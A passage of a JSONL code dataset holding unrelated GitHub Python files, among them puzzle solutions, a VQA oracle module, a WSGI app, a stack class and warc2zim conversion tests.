{part2(example)}\")","repo_name":"Olivolja/Aoc_2021","sub_path":"3/aoc_3.py","file_name":"aoc_3.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5646974619","text":"# Find the sum of all numbers under one million that are palindromic in both\n# bases 10 and 2 (binary)\n\nimport MyModule as mm\n\nsum = 0\n\nfor baseTen in range(0,1000000):\n    if mm.is_it_palindromic(baseTen):\n        binaryString = bin(baseTen)[2:]\n        if binaryString == binaryString[::-1]:\n            sum += baseTen\n\nprint(sum)\n","repo_name":"bencouser/project_euler","sub_path":"36.py","file_name":"36.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33799438533","text":"import datetime as dt\nimport numpy as np\n\n\ndef load_data(file_name):\n    with open(file_name, 'r') as input_file:\n        lines_read = input_file.readlines()\n        # Read all the data from the 5th index until before the last index\n        # Parse the line into index numbers and coordinates\n        # Convert coordinates to float\n    name = ''\n    data = []\n    for text in lines_read:\n        if len(text) > 0 and text[0].isdigit():\n            data.append(tuple(map(float, text.strip().split(' ')[1:3])))\n        elif 'NAME: ' in text:\n            name = text[6:-1]\n    return name, data\n\n\ndef early_stop_checker(seconds=float('inf'), target_cost=0):\n    start_time = dt.datetime.now()\n    def _lambda(q): \n        return ((dt.datetime.now() - start_time).total_seconds() < seconds) and q > target_cost\n    return _lambda\n\n\ndef distance(node_a: list, node_b: list) -> float:\n    return np.sqrt((node_a[0] - node_b[0]) ** 2 + (node_a[1] - node_b[1]) ** 2)\n\n\ndef tour_cost(path: list) -> float:\n    cost = 0\n    for previous_index, current_node in enumerate(path[1:]):\n        previous_node = path[previous_index]\n        cost += distance(previous_node, current_node)\n    cost += distance(path[0], path[-1])\n    return cost","repo_name":"moalani/CSE6140-TSP-Project","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70548338568","text":"while True:\n    try:\n        N = int(input())\n\n        somas = []\n        while len(somas) < N:\n            numeros = [int(x) for x in input().strip().split(' ')]\n            somas.extend(numeros)\n\n        for i in range(1, N):\n            somas[i] += somas[i - 1]\n\n        inicio, fim, resposta = 0, N, somas[N - 1]\n        while(inicio < fim):\n            meio = (inicio + fim)//2\n\n            rangel = somas[meio]\n            gugu = somas[N - 1] - rangel\n            resposta = min(resposta, abs(rangel - gugu))\n\n            if(rangel == gugu):\n                break\n            elif(rangel < gugu):\n                meio = inicio + 1\n            else:\n                meio = fim\n\n        print(resposta)\n    except EOFError:\n        break\n","repo_name":"xTecna/solucoes-da-beecrowd","sub_path":"problemas/iniciante/2715/2715.py","file_name":"2715.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"pt","doc_type":"code","stars":42,"dataset":"github-code","pt":"16"}
+{"seq_id":"1053536003","text":"import torch\nimport re\nfrom operator import itemgetter\nfrom nsvqa.nn.interpreter import util\nfrom nsvqa.nn.interpreter.batch_base_types import TokenType\n\nclass OracleBase(torch.nn.Module):\n    \n    def __init__(self, ontology, feature_dim=1):\n        super(OracleBase, self).__init__()\n        self._feature_dim = feature_dim\n        self._ontology = ontology\n\n    def forward(self, token_type, token_list, token_image_map, world, default_log_likelihood=-30, normalized_probability=True):\n        if not isinstance(token_list, list):\n            token_list = [token_list]\n        t_list = [a.strip() for a in token_list]\n        \n        if token_type == TokenType.ATTRIBUTE:\n            res = self._compute_attribute_log_likelihood(world._device, t_list, world._attribute_features, world._meta_data, world._object_num, token_image_map, \\\n                world._object_image_map, default_log_likelihood=default_log_likelihood, normalized_probability=normalized_probability)\n\n            if isinstance(res, torch.Tensor):\n                res = res.view(len(token_list), world._object_num, self._feature_dim)\n        \n        elif token_type == TokenType.RELATION:\n            res = self._compute_relation_log_likelihood(world._device, t_list, world._relation_features, world._meta_data, world._object_num, token_image_map, \\\n                world._object_image_map, default_log_likelihood=default_log_likelihood, normalized_probability=normalized_probability)\n            \n            if isinstance(res, torch.Tensor):\n                res = res.view(len(token_list), world._object_num, world._object_num, self._feature_dim)\n\n        return res\n\n    def _compute_attribute_log_likelihood(self, device, attribute_list, object_features, meta_data, object_num, attribute_image_map, object_image_map, default_log_likelihood=-30, normalized_probability=True):\n        pass\n\n    def _compute_relation_log_likelihood(self, device, relation_list, pair_object_features, meta_data, object_num, relation_image_map, object_image_map, default_log_likelihood=-30, normalized_probability=True):\n        pass\n\n    def get_embedding(self, tokens, meta_data, device):\n        if meta_data is None:\n            embedding = torch.from_numpy(self._ontology.get_embedding(tokens)).float().to(device)\n        else:\n            try:\n                ind = itemgetter(*tokens)(meta_data['index'])\n                embedding = meta_data['embedding'][ind, :]\n            except KeyError as e:\n                embedding = torch.from_numpy(self._ontology.get_embeddings(tokens)).float().to(device)\n\n        return embedding\n\n######################################################################################################################################\n\nclass RandomOracle(OracleBase):\n    \n    def __init__(self, ontology, device):\n        super(RandomOracle, self).__init__(ontology)\n        self._device = device\n\n    def _compute_attribute_log_likelihood(self, device, attribute_list, object_features, meta_data, object_num, attribute_image_map, object_image_map, default_log_likelihood=-30):\n        res = torch.rand(len(attribute_list) * self._object_num, device=self._device)\n        # print(\"\\nAttribute likelihood:\")\n        # print(res.view(len(attribute_list), -1))\n        return util.safe_log(res)\n\n    def _compute_relation_log_likelihood(self, device, relation_list, pair_object_features, meta_data, object_num, relation_image_map, object_image_map, default_log_likelihood=-30):\n        res = torch.rand(len(relation_list) * (self._object_num**2), device=self._device)\n        # print(\"\\nRelation likelihood:\")\n        # print(res.view(len(relation_list), self._object_num, self._object_num))\n        return util.safe_log(res)\n\n######################################################################################################################################\n\nclass StaticOracle(OracleBase):\n    \n    def __init__(self, ontology, feature_dim=1):\n        super(StaticOracle, self).__init__(ontology, feature_dim=feature_dim)\n\n    def _extract_entries(self, a_list, features):\n        i = [features['index'][c] if c in features['index'] else 0 for c in a_list]\n        ind = torch.tensor(i, dtype=torch.int64, device=features['log_likelihood'].device)\n        return features['log_likelihood'][ind]\n\n    def _compute_attribute_log_likelihood(self, device, attribute_list, object_features, meta_data, object_num, attribute_image_map, object_image_map, default_log_likelihood=-30):\n        return self._extract_entries(attribute_list, object_features)\n\n    def _compute_relation_log_likelihood(self, device, relation_list, pair_object_features, meta_data, object_num, relation_image_map, object_image_map, default_log_likelihood=-30):\n        return self._extract_entries(relation_list, pair_object_features)\n","repo_name":"microsoft/DFOL-VQA","sub_path":"src/nsvqa/nn/vision/base_oracle.py","file_name":"base_oracle.py","file_ext":"py","file_size_in_byte":4798,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"16"}
+{"seq_id":"9276448861","text":"from .database import connect\nfrom .exists import check_existsquery\nfrom .handlers import get_handler\nfrom .request import Request\nfrom .responses import (\n    ErrorResponse,\n    MethodNotAllowedResponse,\n    NotFoundResponse,\n    PermanentRedirectResponse,\n)\nfrom .routing import route\n\nimport logging\n\nlogger = logging.getLogger(\"sqlsite\")\n\n\ndef should_append_slash(request):\n    return request.route.pattern.endswith(\"/\") and not request.path.endswith(\"/\")\n\n\ndef method_allowed(request):\n    return request.method in {\"GET\", \"HEAD\"}\n\n\ndef get_response(request):\n    if not method_allowed(request):\n        return MethodNotAllowedResponse()\n    matched_route = route(request.db, request.path)\n    if not matched_route:\n        return NotFoundResponse()\n    request.route = matched_route\n    if should_append_slash(request):\n        return PermanentRedirectResponse(f\"/{request.path}/\")\n    if not check_existsquery(request):\n        return NotFoundResponse()\n    handler = get_handler(matched_route.handler)\n    response = handler(request)\n    return response\n\n\ndef make_app(test_db=None):\n    def app(environ, start_response):\n        db = test_db or connect()\n        request = Request(environ, db)\n        try:\n            response = get_response(request)\n        except Exception as exception:\n            logger.exception(exception)\n            response = ErrorResponse()\n        start_response(response.get_status_line(), response.get_headers())\n        return response.get_content()\n\n    return app\n","repo_name":"j4mie/sqlsite","sub_path":"sqlsite/wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":177,"dataset":"github-code","pt":"16"}
+{"seq_id":"16513138068","text":"def coordinateLister(jsonlist):\n    \"\"\"\n    -------------------\n    VERSION: 2021-11-15\n    -------------------\n    \n    Give a list of jsons as a parameter. For example a list created with readJson()-function.\n    This function gives all x- and y-coordinates of density blocks, moisture blocks and all defects.\n    \n    Six lists will be returned, which all contains lists of all sheets as a parameter.\n    \n    Example\n    -------\n    \n    xDensity, yDensity, xMoisture, yMoisture, xDefects, yDefects = coordinateLister(jsonlist)\n    \n    So if your jsonlist contains all 146 peeling sheets, then for example\n    list xDensity contains 146 lists. First list inside xDensity contains all density x-coordinates of the first sheet and so on.    \n    \n    \"\"\"\n    xD_ALL = []; yD_ALL = []; xM_ALL = []; yM_ALL = []; xDEF_ALL = []; yDEF_ALL = []\n\n    # Looping all sheets and appending sheets coordinates lists to lists containing lists of all sheets coordinate-lists\n    for sheet in jsonlist:\n        # Density-blocks\n        xD = []; yD = []\n        for dblock in sheet['DensityBlocks']:\n            for key in dblock:\n                if key == 'm_pntTL' or key == 'm_pntTR' or key == 'm_pntBL' or key == 'm_pntBR':\n                    xD.append(dblock[key]['x'])\n                    yD.append(dblock[key]['y'])\n        xD_ALL.append(xD)\n        yD_ALL.append(yD)\n\n        # Moisture blocks\n        xM = []; yM = []\n        for dblock in sheet['MoistureBlocks']:\n            for key in dblock:\n                if key == 'm_pntTL' or key == 'm_pntTR' or key == 'm_pntBL' or key == 'm_pntBR':\n                    xM.append(dblock[key]['x'])\n                    yM.append(dblock[key]['y'])\n        xM_ALL.append(xM)\n        yM_ALL.append(yM)\n\n        # Defects\n        xDEF = []; yDEF = []\n        for dblock in sheet['Defects']:\n            for key in dblock:\n                if key == 'm_mmpntGravity':\n                    xDEF.append(dblock[key]['x']/sheet['ObjectData'][0]['ObjectResX'])\n                    yDEF.append(dblock[key]['y']/sheet['ObjectData'][0]['ObjectResY'])\n        xDEF_ALL.append(xDEF)\n        yDEF_ALL.append(yDEF)\n    return xD_ALL, yD_ALL, xM_ALL, yM_ALL, xDEF_ALL, yDEF_ALL","repo_name":"TuomasKarjalainen/project-RAUTE","sub_path":"Modules/coordinatelister.py","file_name":"coordinatelister.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24983332155","text":"import numpy as np\nimport threading\nimport time\nimport math\n\n'''\nnaive implementation of vector-matrix multiplication\n\nweight matrix shape: (n,n)\nvector shape: (n,1)\n'''\nglobal y\n\ndef naive_vector_matrix_mult(w, x):\n    n = w.shape[0]\n    # y = np.zeros((n,1))\n    for i in range(n):\n        for j in range(n):\n            y[i]+=w[i,j]*x[j]\n        # y[i] = np.dot(w[i,:], x)\n    return\n\n\ndef vector_vector_thread(row, x, ind):\n    y[ind] = np.dot(row, x)\n    return\n    \ndef single_partition(w, x, num_threads=16):\n    n = w.shape[0]\n\n    \n    threads = []\n    #8 cores, hyperthreading doubles to 16\n    # we will broadcast to make 16 copies of x\n    xb = np.broadcast_to(x.T, shape=(num_threads,n))\n    \n    vec_ind = 0\n    thread_ind = 0\n    \n    while(vec_ind<n):\n        if vec_ind<num_threads:\n            z = threading.Thread(target=vector_vector_thread, args=(w[vec_ind,:], xb[vec_ind,:], vec_ind))\n            threads.append(z)\n            z.start()\n            vec_ind+=1\n        else:\n            threads[0].join()\n            threads.pop(0)\n            \n            z = threading.Thread(target=vector_vector_thread, args=(w[vec_ind,:], xb[thread_ind,:], vec_ind))\n            threads.append(z)\n            z.start()\n            \n            vec_ind+=1\n            thread_ind+=1\n            thread_ind%=num_threads\n    \n    for i in threads:\n        i.join()\n    \n    return\n\n\ndef matrix_vector_thread(block, x, y, offx, offy, size):\n    for i in range(size):\n        for j in range(size):\n            y[offy+i]+=block[i+offx,j+offy]*x[j+offx]\n    return\n\ndef double_partition(w,x,num_threads=16):\n    p = int(math.sqrt(num_threads))\n    n = w.shape[0]\n    \n    window = int(n/p)\n    \n    brd_dim = math.ceil(n/window)\n    \n    xb = np.broadcast_to(x.T, shape=(brd_dim,n))\n    \n    agg = np.zeros((n,brd_dim))\n    threads = []\n    \n    vec_ind=0\n    for i in range(0, n, window):\n        for j in range(0,n,window):\n            z = threading.Thread(target=matrix_vector_thread, args=(w, xb[vec_ind,:], agg[:,vec_ind], i, j, min(window, n-i, n-j)))\n            threads.append(z)\n            z.start()\n            \n            vec_ind+=1\n            vec_ind%=brd_dim\n    for thread in threads:\n        thread.join()\n        \n    y = np.sum(agg, axis=1)\n    return y","repo_name":"Atharvalite/linear-algebra","sub_path":"vector_matrix_multiplication.py","file_name":"vector_matrix_multiplication.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4606557759","text":"#Sari Stissi\n#Assignment 3\n\nclass Stack():\n    #initialize variables\n    def __init__(self, capacity=10): #creates a default capacity of 10\n        #create array to store elements\n        self.stackArray = []\n        #top var will initially be at -1 b/c there are no items in the array yet\n        self.top = -1\n        #sets new capacity for size\n        self.size = capacity\n        #I'm going to set temp vars in the stackArray according to capacity\n        for i in range(capacity):\n            self.stackArray.append(0)\n        if not isinstance(capacity, (int)):\n            raise TypeError(\"Size of an array can't be a string or a float number\")\n\n    def isEmpty(self):\n        #if top hasn't been moved yet, there's nothing in the list\n        return self.top == -1\n\n    def push(self, e):\n        #check to make sure it won't go past capacity\n        if len(self.stackArray) <= self.size:\n            #add element to stack\n            self.stackArray[(self.top + 1)] = e\n            #change top now that there's something in it\n            self.top += 1\n        else:\n            return(\"You can't add anymore elements to the stack\")\n\n    def pop(self):\n        #checks to make sure there are elements in the list\n        if not self.isEmpty():\n            #saves the element we're taking out in a temp var\n            oldTop = self.stackArray[self.top]\n            #replace with a placeholder 0\n            self.stackArray[self.top] = 0\n            #change the top\n            self.top -= 1\n            #return the element we got rid of\n            return oldTop\n\n    def peek(self):\n        return self.stackArray[self.top]\n            \n        \n            \n            \n            \n","repo_name":"sestissi16/DataStructuresProjects","sub_path":"Assignment3_stackClass.py","file_name":"Assignment3_stackClass.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13056466553","text":"import string\nimport random\n\n\ndef id_generator(size=6, chars=string.ascii_uppercase + string.digits):\n    return ''.join(random.choice(chars) for x in range(size))\n\n\ndef localize_html_email_images(message):\n    \"\"\"Replace linked images served locally with attached images\"\"\"\n\n    import re, os.path\n    from email.MIMEImage import MIMEImage\n\n    from django.conf import settings\n\n    image_pattern = \"\"\"<img\\s*.*src=['\"](?P<img_src>%s[^'\"]*)['\"].*\\/>\"\"\" % settings.STATIC_URL\n\n    image_matches = re.findall(image_pattern, message.alternatives[0][0])\n\n    added_images = {}\n\n    for image_match in image_matches:\n\n        if image_match not in added_images:\n            img_content_cid = id_generator()\n            on_disk_path = os.path.join(settings.MEDIA_ROOT, image_match.replace(settings.STATIC_URL, ''))\n            img_data = open(on_disk_path, 'rb').read()\n            img = MIMEImage(img_data)\n            img.add_header('Content-ID', '<%s>' % img_content_cid)\n            img.add_header('Content-Disposition', 'inline')\n            message.attach(img)\n\n            added_images[image_match] = img_content_cid\n\n    def repl(matchobj):\n        x = matchobj.group('img_src')\n        y = 'cid:%s' % str(added_images[matchobj.group('img_src')])\n        return matchobj.group(0).replace(matchobj.group('img_src'), 'cid:%s' % added_images[matchobj.group('img_src')])\n\n    if added_images:\n        message.alternatives = [(re.sub(image_pattern, repl, message.alternatives[0][0]), 'text/html')]\n        message.body = re.sub(image_pattern, repl, message.body)\n        \n        ","repo_name":"su-danny/famdates","sub_path":"notification/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34863728865","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: ai ts=4 sts=4 et sw=4 nu\n\nimport os\nimport time\nimport json\nfrom io import BytesIO\n\nimport pytest\nimport requests\n\nfrom warcio import ArchiveIterator\nfrom jinja2 import Environment, PackageLoader\nfrom zimscraperlib.zim import Archive\n\nfrom warc2zim.main import (\n    warc2zim,\n    canonicalize,\n    iter_warc_records,\n    get_record_url,\n)\n\n\nTEST_DATA_DIR = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"data\")\n\n\n# ============================================================================\nCMDLINES = [\n    [\"example-response.warc\"],\n    [\"example-response.warc\", \"--progress-file\", \"progress.json\"],\n    [\"example-resource.warc.gz\", \"--favicon\", \"https://example.com/some/favicon.ico\"],\n    [\"example-resource.warc.gz\", \"--favicon\", \"https://www.google.com/favicon.ico\"],\n    [\"example-revisit.warc.gz\"],\n    [\n        \"example-revisit.warc.gz\",\n        \"-u\",\n        \"http://example.iana.org/\",\n        \"--lang\",\n        \"eng\",\n    ],\n    [\n        \"example-utf8.warc\",\n        \"-u\",\n        \"https://httpbin.org/anything/utf8=%E2%9C%93?query=test&a=b&1=%E2%9C%93\",\n    ],\n    [\"single-page-test.warc\"],\n]\n\n\n@pytest.fixture(params=CMDLINES, ids=[\" \".join(cmds) for cmds in CMDLINES])\ndef cmdline(request):\n    return request.param\n\n\n# ============================================================================\nFUZZYCHECKS = [\n    {\n        \"filename\": \"video-yt.warc.gz\",\n        \"entries\": [\n            \"H/youtube.fuzzy.replayweb.page/get_video_info?video_id=aT-Up5Y4uRI\",\n            \"H/youtube.fuzzy.replayweb.page/videoplayback?id=o-AE3bg3qVNY-gAWwYgL52vgpHKJe9ijdbu2eciNi5Uo_w\",\n        ],\n    },\n    {\n        \"filename\": \"video-yt-2.warc.gz\",\n        \"entries\": [\n            \"H/youtube.fuzzy.replayweb.page/youtubei/v1/player?videoId=aT-Up5Y4uRI\",\n            \"H/youtube.fuzzy.replayweb.page/videoplayback?id=o-AGDtIqpFRmvgVVZk96wgGyFxL_SFSdpBxs0iBHatQpRD\",\n        ],\n    },\n    {\n        \"filename\": \"video-vimeo.warc.gz\",\n        \"entries\": [\n            \"H/vimeo.fuzzy.replayweb.page/video/347119375\",\n            \"H/vimeo-cdn.fuzzy.replayweb.page/01/4423/13/347119375/1398505169.mp4\",\n        ],\n    },\n]\n\n\n@pytest.fixture(params=FUZZYCHECKS, ids=[fuzzy[\"filename\"] for fuzzy in FUZZYCHECKS])\ndef fuzzycheck(request):\n    return request.param\n\n\n# ============================================================================\nclass TestWarc2Zim(object):\n    def list_articles(self, zimfile):\n        zim_fh = Archive(zimfile)\n        for x in range(zim_fh.entry_count):\n            yield zim_fh.get_entry_by_id(x)\n\n    def get_metadata(self, zimfile, name):\n        zim_fh = Archive(zimfile)\n        return zim_fh.get_metadata(name)\n\n    def get_article(self, zimfile, path):\n        zim_fh = Archive(zimfile)\n        return zim_fh.get_content(path)\n\n    def get_article_raw(self, zimfile, path):\n        zim_fh = Archive(zimfile)\n        return zim_fh.get_item(path)\n\n    def verify_warc_and_zim(self, warcfile, zimfile):\n        assert os.path.isfile(warcfile)\n        assert os.path.isfile(zimfile)\n\n        # autoescape=False to allow injecting html entities from translated text\n        env = Environment(\n            loader=PackageLoader(\"warc2zim\", \"templates\"),\n            extensions=[\"jinja2.ext.i18n\"],\n            autoescape=False,\n        )\n\n        head_insert = env.get_template(\"sw_check.html\").render().encode(\"utf-8\")\n\n        # track to avoid checking duplicates, which are not written to ZIM\n        warc_urls = set()\n\n        zim_fh = Archive(zimfile)\n        for record in iter_warc_records([warcfile]):\n            url = get_record_url(record)\n            if not url:\n                continue\n\n            if url in warc_urls:\n                continue\n\n            if record.rec_type not in ((\"response\", \"resource\", \"revisit\")):\n                continue\n\n            # ignore revisit records that are to the same url\n            if (\n                record.rec_type == \"revisit\"\n                and record.rec_headers[\"WARC-Refers-To-Target-URI\"] == url\n            ):\n                continue\n\n            # parse headers as record, ensure headers match\n            url_no_scheme = url.split(\"//\", 2)[1]\n            print(url_no_scheme)\n            parsed_record = next(\n                ArchiveIterator(BytesIO(zim_fh.get_content(\"H/\" + url_no_scheme)))\n            )\n\n            assert record.rec_headers == parsed_record.rec_headers\n            assert record.http_headers == parsed_record.http_headers\n\n            # ensure payloads match\n            try:\n                payload = zim_fh.get_item(\"A/\" + url_no_scheme)\n            except KeyError:\n                payload = None\n\n            if record.rec_type == \"revisit\" or (\n                record.http_headers and record.http_headers.get(\"Content-Length\") == \"0\"\n            ):\n                assert not payload\n            else:\n                payload_content = payload.content.tobytes()\n\n                # if HTML, still need to account for the head insert, otherwise should have exact match\n                if payload.mimetype.startswith(\"text/html\"):\n                    assert head_insert in payload_content\n                    assert (\n                        payload_content.replace(head_insert, b\"\")\n                        == record.buffered_stream.read()\n                    )\n                else:\n                    assert payload_content == record.buffered_stream.read()\n\n            warc_urls.add(url)\n\n    def test_canonicalize(self):\n        assert canonicalize(\"http://example.com/?foo=bar\") == \"example.com/?foo=bar\"\n\n        assert canonicalize(\"https://example.com/?foo=bar\") == \"example.com/?foo=bar\"\n\n        assert (\n            canonicalize(\"https://example.com/some/path/http://example.com/?foo=bar\")\n            == \"example.com/some/path/http://example.com/?foo=bar\"\n        )\n\n        assert (\n            canonicalize(\"example.com/some/path/http://example.com/?foo=bar\")\n            == \"example.com/some/path/http://example.com/?foo=bar\"\n        )\n\n    def test_warc_to_zim_specify_params_and_metadata(self, tmp_path):\n        zim_output = \"zim-out-filename.zim\"\n        warc2zim(\n            [\n                \"-v\",\n                os.path.join(TEST_DATA_DIR, \"example-response.warc\"),\n                \"--name\",\n                \"example-response\",\n                \"--output\",\n                str(tmp_path),\n                \"--zim-file\",\n                zim_output,\n                \"-r\",\n                \"https://cdn.jsdelivr.net/npm/@webrecorder/wabac@2.16.11/dist/\",\n                \"--tags\",\n                \"some\",\n                \"--tags\",\n                \"foo\",\n                \"--desc\",\n                \"test zim\",\n                \"--tags\",\n                \"bar\",\n                \"--title\",\n                \"Some Title\",\n            ]\n        )\n\n        zim_output = tmp_path / zim_output\n\n        assert os.path.isfile(zim_output)\n\n        all_articles = {\n            article.path: article.title for article in self.list_articles(zim_output)\n        }\n\n        assert all_articles == {\n            # entries from WARC\n            \"A/example.com/\": \"Example Domain\",\n            \"H/example.com/\": \"H/example.com/\",\n            # replay system files\n            \"A/index.html\": \"A/index.html\",\n            \"A/load.js\": \"A/load.js\",\n            \"A/404.html\": \"A/404.html\",\n            \"A/sw.js\": \"A/sw.js\",\n            \"A/topFrame.html\": \"A/topFrame.html\",\n        }\n\n        zim_fh = Archive(zim_output)\n\n        # ZIM metadata\n        assert list(zim_fh.metadata.keys()) == [\n            \"Counter\",\n            \"Creator\",\n            \"Date\",\n            \"Description\",\n            \"Language\",\n            \"Name\",\n            \"Publisher\",\n            \"Scraper\",\n            \"Tags\",\n            \"Title\",\n        ]\n\n        assert zim_fh.has_fulltext_index\n        assert zim_fh.has_title_index\n\n        assert self.get_metadata(zim_output, \"Description\") == b\"test zim\"\n        assert (\n            self.get_metadata(zim_output, \"Tags\")\n            == b\"_ftindex:yes;_category:other;_sw:yes;some;foo;bar\"\n        )\n        assert self.get_metadata(zim_output, \"Title\") == b\"Some Title\"\n\n    def test_warc_to_zim(self, cmdline, tmp_path):\n        # intput filename\n        filename = cmdline[0]\n\n        # set intput filename (first arg) to absolute path from test dir\n        warcfile = os.path.join(TEST_DATA_DIR, filename)\n        cmdline[0] = warcfile\n\n        cmdline.extend([\"--output\", str(tmp_path), \"--name\", filename])\n\n        warc2zim(cmdline)\n\n        zimfile = filename + \"_\" + time.strftime(\"%Y-%m\") + \".zim\"\n\n        if \"--progress-file\" in cmdline:\n            with open(tmp_path / \"progress.json\", \"r\") as fh:\n                progress = json.load(fh)\n                assert (\n                    progress[\"written\"] > 0\n                    and progress[\"total\"] > 0\n                    and progress[\"written\"] <= progress[\"total\"]\n                )\n\n        self.verify_warc_and_zim(warcfile, tmp_path / zimfile)\n\n    def test_same_domain_only(self, tmp_path):\n        zim_output = \"same-domain.zim\"\n        warc2zim(\n            [\n                os.path.join(TEST_DATA_DIR, \"example-revisit.warc.gz\"),\n                \"--favicon\",\n                \"http://example.com/favicon.ico\",\n                \"--include-domains\",\n                \"example.com/\",\n                \"--lang\",\n                \"eng\",\n                \"--zim-file\",\n                zim_output,\n                \"--name\",\n                \"same-domain\",\n                \"--output\",\n                str(tmp_path),\n            ]\n        )\n\n        zim_output = tmp_path / zim_output\n\n        for article in self.list_articles(zim_output):\n            url = article.path\n            # ignore the replay files, which have only one path segment\n            if url.startswith(\"A/\") and len(url.split(\"/\")) > 2:\n                assert url.startswith(\"A/example.com/\")\n\n    def test_skip_self_redirect(self, tmp_path):\n        zim_output = \"self-redir.zim\"\n        warc2zim(\n            [\n                os.path.join(TEST_DATA_DIR, \"self-redirect.warc\"),\n                \"--output\",\n                str(tmp_path),\n                \"--zim-file\",\n                zim_output,\n                \"--name\",\n                \"self-redir\",\n            ]\n        )\n\n        zim_output = tmp_path / zim_output\n\n        for article in self.list_articles(zim_output):\n            url = article.path\n            if url.startswith(\"H/\"):\n                # ensure there is only one H/ record, and its a 200 (not 301)\n                assert url == \"H/kiwix.org/\"\n                assert b\"HTTP/1.1 200 OK\" in self.get_article(\n                    zim_output, \"H/kiwix.org/\"\n                )\n\n    def test_include_domains_favicon_and_language(self, tmp_path):\n        zim_output = \"spt.zim\"\n        warc2zim(\n            [\n                os.path.join(TEST_DATA_DIR, \"single-page-test.warc\"),\n                \"-i\",\n                \"reseau-canope.fr\",\n                \"--output\",\n                str(tmp_path),\n                \"--zim-file\",\n                zim_output,\n                \"--name\",\n                \"spt\",\n            ]\n        )\n\n        zim_output = tmp_path / zim_output\n\n        for article in self.list_articles(zim_output):\n            url = article.path\n            # ignore the replay files, which have only one path segment\n            if url.startswith(\"A/\") and len(url.split(\"/\")) > 2:\n                assert \"reseau-canope.fr/\" in url\n\n        # test detected language\n        assert self.get_metadata(zim_output, \"Language\") == b\"fra\"\n\n        # test detected favicon\n        assert self.get_article(\n            zim_output,\n            \"A/lesfondamentaux.reseau-canope.fr/fileadmin/template/img/favicon.ico\",\n        )\n        assert self.get_metadata(zim_output, \"Illustration_48x48@1\")\n\n        # test default tags added\n        assert (\n            self.get_metadata(zim_output, \"Tags\")\n            == b\"_ftindex:yes;_category:other;_sw:yes\"\n        )\n\n    def test_all_warcs_root_dir(self, tmp_path):\n        zim_output = \"test-all.zim\"\n        warc2zim(\n            [\n                os.path.join(TEST_DATA_DIR),\n                \"--output\",\n                str(tmp_path),\n                \"--zim-file\",\n                zim_output,\n                \"--name\",\n                \"test-all\",\n                \"--url\",\n                \"http://example.com\",\n            ]\n        )\n        zim_output = tmp_path / zim_output\n\n        # check articles from different warc records in tests/data dir\n\n        # ensure trailing slash added\n        assert b'window.mainUrl = \"http://example.com/\"' in self.get_article(\n            zim_output, \"A/index.html\"\n        )\n\n        # from example.warc.gz\n        assert self.get_article(zim_output, \"A/example.com/\") != b\"\"\n\n        # from single-page-test.warc\n        assert (\n            self.get_article(\n                zim_output, \"A/lesfondamentaux.reseau-canope.fr/accueil.html\"\n            )\n            != b\"\"\n        )\n\n        # timestamp fuzzy match from example-with-timestamp.warc\n        assert self.get_article(zim_output, \"H/example.com/path.txt?\") != b\"\"\n\n    def test_fuzzy_urls(self, tmp_path, fuzzycheck):\n        zim_output = fuzzycheck[\"filename\"] + \".zim\"\n        warc2zim(\n            [\n                os.path.join(TEST_DATA_DIR, fuzzycheck[\"filename\"]),\n                \"--output\",\n                str(tmp_path),\n                \"--zim-file\",\n                zim_output,\n                \"--name\",\n                \"test-fuzzy\",\n            ]\n        )\n        zim_output = tmp_path / zim_output\n\n        for entry in fuzzycheck[\"entries\"]:\n            res = self.get_article(zim_output, entry)\n            assert b\"Location: \" in res\n\n    def test_local_replay_viewer_url(self, tmp_path):\n        zim_local_sw = \"zim-local-sw.zim\"\n\n        res = requests.get(\n            \"https://cdn.jsdelivr.net/npm/@webrecorder/wabac@2.16.11/dist/sw.js\"\n        )\n\n        with open(tmp_path / \"sw.js\", \"wt\") as fh:\n            fh.write(res.text)\n\n        warc2zim(\n            [\n                \"-v\",\n                os.path.join(TEST_DATA_DIR, \"example-response.warc\"),\n                \"-r\",\n                str(tmp_path) + \"/\",\n                \"--output\",\n                str(tmp_path),\n                \"--name\",\n                \"local-sw\",\n                \"--zim-file\",\n                zim_local_sw,\n            ]\n        )\n\n        assert os.path.isfile(tmp_path / zim_local_sw)\n\n    def test_error_bad_replay_viewer_url(self, tmp_path):\n        zim_output_not_created = \"zim-out-not-created.zim\"\n        with pytest.raises(Exception) as e:\n            warc2zim(\n                [\n                    \"-v\",\n                    os.path.join(TEST_DATA_DIR, \"example-response.warc\"),\n                    \"-r\",\n                    \"x-invalid-x\",\n                    \"--output\",\n                    str(tmp_path),\n                    \"--name\",\n                    \"bad\",\n                    \"--zim-file\",\n                    zim_output_not_created,\n                ]\n            )\n\n        # zim file should not have been created since replay viewer could not be loaded\n        assert not os.path.isfile(tmp_path / zim_output_not_created)\n\n    def test_error_bad_main_page(self, tmp_path):\n        zim_output_not_created = \"zim-out-not-created.zim\"\n        with pytest.raises(Exception) as e:\n            warc2zim(\n                [\n                    \"-v\",\n                    os.path.join(TEST_DATA_DIR, \"example-response.warc\"),\n                    \"-u\",\n                    \"https://no-such-url.example.com\",\n                    \"--output\",\n                    str(tmp_path),\n                    \"--name\",\n                    \"bad\",\n                    \"--zim-file\",\n                    zim_output_not_created,\n                ]\n            